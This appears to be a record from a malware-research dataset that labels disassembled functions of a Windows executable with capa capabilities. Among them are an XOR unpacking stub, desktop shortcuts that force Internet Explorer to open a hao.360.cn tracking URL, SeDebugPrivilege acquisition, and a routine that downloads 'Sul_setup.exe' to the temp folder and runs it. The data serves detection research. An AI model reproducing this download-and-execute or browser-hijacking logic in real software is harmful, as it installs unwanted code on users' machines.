joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x4f267de9
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x52fd05a3
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x39a10f71
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x53c8434c
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x54e53b81
nop
nop
nop
nop
nop
test eax, eax
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x431024
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x303314d1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408e84
nop
mov ecx, 0x1ed04ac5
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x434178ef
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401e20
Capabilities:
Print debug messages

Disassembly:
add ecx, 0x14
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, str.CWinException_thrown
ret

Function at 0x402150
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x441f98
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x45a024]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor esi, esi
cmp eax, esi
jne 0x40225a
push 0x4c
call fcn.0041b5db
add esp, 4
cmp eax, esi
je 0x4021d4
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov dword [eax + 0xc], esi
mov dword [eax + 0x10], esi
mov dword [eax + 0x14], esi
mov dword [eax + 0x1c], esi
mov dword [eax + 0x20], esi
mov dword [eax + 0x24], esi
mov dword [eax + 0x2c], esi
mov dword [eax + 0x30], esi
mov dword [eax + 0x34], esi
mov dword [eax + 0x3c], esi
mov dword [eax + 0x40], esi
mov dword [eax + 0x44], esi
mov ebx, eax
jmp 0x4021d6
xor ebx, ebx
lea eax, [edi + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push ebx
lea eax, [esp + 0x18]
push eax
call fcn.00404650
add edi, 0x44
lea eax, [esp + 0x14]
mov dword [esp + 0x28], esi
call fcn.004043c0
mov dword [esp + 0x28], 0xffffffff
mov edi, dword [esp + 0x18]
cmp edi, esi
je 0x40223a
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x40223a
mov eax, dword [esp + 0x14]
cmp eax, esi
je 0x402231
push eax
call fcn.004047e0
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0041afda
add esp, 4
push edi
call fcn.0041afda
add esp, 4
mov eax, dword [ebp + 8]
add eax, 0x6c
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xa4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, ebx
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4067a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x6c]
push eax
push 1
push 0
push str.Software_srf_service
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x63
lea ecx, [ebp - 0x67]
push 0
push ecx
mov byte [ebp - 0x68], 0
call fcn.004212c0
add esp, 0xc
lea edx, [ebp - 0x70]
push edx
mov edx, dword [ebp - 0x6c]
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0x44f7ac
push edx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x68]
push eax
push str.aintcname_s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp - 0x6c]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x408b10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.Software_srf_service
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, 4
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x44f930
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 8], 1
sete al
mov esp, ebp
pop ebp
ret
Function at 0x40b380
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x4612ac]
test eax, eax
jne 0x40b392
mov dword [0x4612ac], eax
mov eax, dword [eax + 0xa4]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp ecx, eax
je 0x40b3ce
mov edx, dword [ebp - 4]
push edx
push eax
call fcn.00412d70
mov edi, dword [esi + 0x10]
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
mov eax, ebx
call fcn.00405b00
add esp, 0xc
mov dword [esi + 0x10], ebx
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x1c]
cmp ecx, eax
je 0x40b3f8
mov edx, dword [ebp - 4]
push edx
push eax
call fcn.00412d70
mov edi, dword [esi + 0x20]
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
mov eax, ebx
call fcn.00405b00
add esp, 0xc
mov dword [esi + 0x20], ebx
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x2c]
cmp ecx, eax
je 0x40b422
mov edx, dword [ebp - 4]
push edx
push eax
call fcn.00412d70
mov edi, dword [esi + 0x30]
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
mov eax, ebx
call fcn.00405b00
add esp, 0xc
mov dword [esi + 0x30], ebx
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
cmp eax, ecx
je 0x40b44c
mov edx, dword [ebp - 4]
push edx
mov ebx, ecx
call fcn.00405aa0
mov edi, eax
mov eax, dword [esi + 0x40]
add esp, 4
push eax
push edi
lea ecx, [esi + 0x3c]
call fcn.00405070
mov dword [esi + 0x40], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bc80
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.0040b990
push str.IsSafeExist
push eax
mov dword [0x4622b0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40be0a
call eax
test eax, eax
jne 0x40bd76
mov edx, dword [0x465860]
lea eax, [ebp - 0x168]
push eax
mov eax, dword [edx]
mov ecx, 0x465860
call eax
lea ecx, [ebp - 0x168]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassW]
mov eax, dword [0x465860]
lea edx, [ebp - 0x124]
push edx
mov edx, dword [eax + 8]
mov ecx, 0x465860
call edx
mov eax, dword [ebp - 0x124]
push 1
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea edx, [ebp - 0x140]
push edx
call esi
test eax, eax
je 0x40be0a
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea esp, [esp]
lea eax, [ebp - 0x140]
push eax
call edi
lea ecx, [ebp - 0x140]
push ecx
call ebx
push 0
push 0
push 0
lea edx, [ebp - 0x140]
push edx
call esi
test eax, eax
jne 0x40bd40
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
push 0x114
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004212c0
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov edx, dword [ebp - 0x11c]
push edx
call fcn.0040b7e0
add esp, 4
test eax, eax
jne 0x40be0a
mov esi, 0x465860
call fcn.00401200
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x140]
push eax
call esi
test eax, eax
je 0x40be0a
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea ecx, [ebp - 0x140]
push ecx
call edi
lea edx, [ebp - 0x140]
push edx
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x140]
push eax
call esi
test eax, eax
jne 0x40bde5
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x40be30
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x620
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x208
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.004212c0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4502a0
lea ecx, [ebp - 0x210]
push ecx
call esi
push 0x4501a4
lea edx, [ebp - 0x210]
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c08d
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push edi
lea ecx, [ebp - 0x210]
push ecx
push 0x4501c4
push 0x4501c8
push 0x4501d8
call esi
lea edx, [ebp - 0x210]
push edx
push 0x4501c4
push 0x4501e0
push 0x4501d8
call esi
lea eax, [ebp - 0x210]
push eax
push 0x4501c4
push 0x4501e8
push 0x4501d8
call esi
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x416]
push edx
mov word [ebp - 0x418], cx
call fcn.004212c0
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add esp, 0xc
push 0
push 0x10
lea eax, [ebp - 0x418]
push eax
push 0
call edi
test eax, eax
je 0x40bf61
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x418]
push edx
push str.Desk
push 0x4501d8
call esi
push 0
push 0x19
lea eax, [ebp - 0x418]
push eax
push 0
call edi
test eax, eax
je 0x40bf8e
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x418]
push edx
push str.ComDesk
push 0x4501d8
call esi
push 0
push 0x1a
lea eax, [ebp - 0x418]
push eax
push 0
call edi
test eax, eax
je 0x40bfbb
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x418]
push edx
push str.AppData
push 0x4501d8
call esi
push 0
push 0x1c
lea eax, [ebp - 0x418]
push eax
push 0
call edi
test eax, eax
je 0x40bfe8
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x418]
push edx
push str.LocalAppData
push 0x4501d8
call esi
push 0
push 0xb
lea eax, [ebp - 0x418]
push eax
push 0
call edi
test eax, eax
je 0x40c015
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x418]
push edx
push str.StartMenu
push 0x4501d8
call esi
push 0
push 2
lea eax, [ebp - 0x418]
push eax
push 0
call edi
pop edi
test eax, eax
je 0x40c043
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x418]
push edx
push str.ProGrams
push 0x4501d8
call esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x61e]
push ecx
mov word [ebp - 0x620], ax
call fcn.004212c0
add esp, 0xc
lea edx, [ebp - 0x620]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x620]
push ecx
push str.Temp
push 0x4501d8
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x40c390
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
lea ecx, [ebp - 0x210]
push ecx
push 0x44662c
push 1
push 0
push 0x44673c
mov dword [ebp - 0x218], eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40c3f9
mov eax, dword [ebp - 0x210]
mov edx, dword [eax]
mov edx, dword [edx]
lea ecx, [ebp - 0x214]
push ecx
push 0x44674c
push eax
call edx
test eax, eax
jns 0x40c40a
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x40c41d
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
push edi
push eax
call edx
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 1
push eax
call edx
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 0
push ebx
push eax
call edx
test esi, esi
je 0x40c45f
mov eax, dword [ebp - 0x218]
push esi
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x214]
mov edx, dword [eax]
mov edx, dword [edx + 0x18]
push 1
lea ecx, [ebp - 0x20c]
push ecx
push eax
call edx
mov esi, eax
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor eax, eax
test esi, esi
setns al
xor ecx, ebp
pop esi
call fcn.0041af7a
mov esp, ebp
pop ebp
ret

Function at 0x40c4b0
Capabilities:
Hide graphical window

Disassembly:
push ecx
push esi
call fcn.0040f520
push esi
call fcn.00410970
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x578]
mov edx, dword [eax + 0x10]
lea ecx, [esi + 0x578]
push 0
call edx
mov eax, dword [esi + 0x57c]
push 1
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop ecx
ret
Function at 0x40c5d0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x41c], eax
push 0x208
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], eax
mov word [ebp - 0x418], ax
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x428], eax
lea ecx, [ebp - 0x20c]
mov eax, 0x614
push 0
push ecx
mov word [ebp - 0x424], ax
mov dword [ebp - 0x41e], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x41a], 0
call fcn.004212c0
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x40c660
mov eax, dword [esi]
jmp 0x40c662
mov eax, esi
mov edx, dword [esi + 0x10]
push eax
inc edx
push edx
lea eax, [ebp - 0x20c]
push eax
call fcn.0041c1c3
push 0x208
lea edx, [ebp - 0x414]
lea ecx, [ebp - 0x20c]
push 0
push edx
mov dword [ebp - 0x42c], ecx
call fcn.004212c0
add esp, 0x18
cmp dword [edi + 0x14], 8
jb 0x40c6a0
mov eax, dword [edi]
jmp 0x40c6a2
mov eax, edi
push eax
mov eax, dword [edi + 0x10]
inc eax
push eax
lea ecx, [ebp - 0x414]
push ecx
call fcn.0041c1c3
add esp, 0xc
lea eax, [ebp - 0x434]
lea edx, [ebp - 0x414]
push eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x430], 1
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x40c740
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
mov edi, edx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x24]
push eax
push 0x44662c
push 1
push 0
push 0x44673c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40c78e
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
push esi
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 0
push str.C:Program_FilesInternet_Exploreriexplore.exe
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push 0x44674c
push eax
mov eax, dword [ecx]
call eax
test eax, eax
js 0x40c77b
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
push 2
push edi
push eax
call edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
sub esp, 0x1c
mov esi, esp
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
mov eax, edi
mov dword [ebp - 0x2c], esp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c807
sub eax, edx
sar eax, 1
push eax
mov eax, edi
call fcn.00404070
lea ebx, [ebp - 0x20]
call fcn.00405e50
mov edi, 0x10
add esp, 0x1c
cmp dword [eax + 0x14], edi
jb 0x40c835
mov eax, dword [eax]
mov esi, eax
call fcn.0040c6f0
cmp dword [ebp - 0xc], edi
jb 0x40c84d
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.0041afda
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x40c870
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov edi, ecx
mov esi, edx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x24]
push eax
push 0x44662c
push 1
push 0
push 0x44673c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40c8be
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
push str.C:Program_FilesInternet_Exploreriexplore.exe
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 0
push esi
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push 0x44674c
push eax
mov eax, dword [ecx]
call eax
test eax, eax
js 0x40c8ab
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push str.http:__hao.360.cn__srclmlsn580357bf91
push eax
call edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
push 2
push edi
push eax
call edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
sub esp, 0x1c
mov esi, esp
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
mov eax, edi
mov dword [ebp - 0x2c], esp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40c947
sub eax, edx
sar eax, 1
push eax
mov eax, edi
call fcn.00404070
lea ebx, [ebp - 0x20]
call fcn.00405e50
mov edi, 0x10
add esp, 0x1c
cmp dword [eax + 0x14], edi
jb 0x40c975
mov eax, dword [eax]
mov esi, eax
call fcn.0040c6f0
cmp dword [ebp - 0xc], edi
jb 0x40c98d
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.0041afda
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x40e070
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40e0b6
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x40e0c6
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x40e114
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
call fcn.0041af7a
mov esp, ebp
pop ebp
ret
Function at 0x410970
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov eax, dword [0x45a024]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
add ebx, 0x358
push esi
mov eax, ebx
push edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x410994
sub eax, edx
sar eax, 1
je 0x410a6d
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x212]
push ecx
mov word [ebp - 0x214], ax
call fcn.004212c0
add esp, 0xc
lea edx, [ebp - 0x214]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edi, [ebp - 0x214]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4109e2
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push ebx
mov ecx, 7
mov esi, str.Sul_setup.exe
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x410a6d
push 0x44
push eax
lea ecx, [ebp - 0x264]
push ecx
call fcn.004212c0
add esp, 0xc
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0
push 0
push 0
mov edx, 5
push 0
mov word [ebp - 0x234], dx
push 0
lea edx, [ebp - 0x214]
push edx
mov dword [ebp - 0x264], 0x44
mov dword [ebp - 0x238], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041af7a
mov esp, ebp
pop ebp
ret 4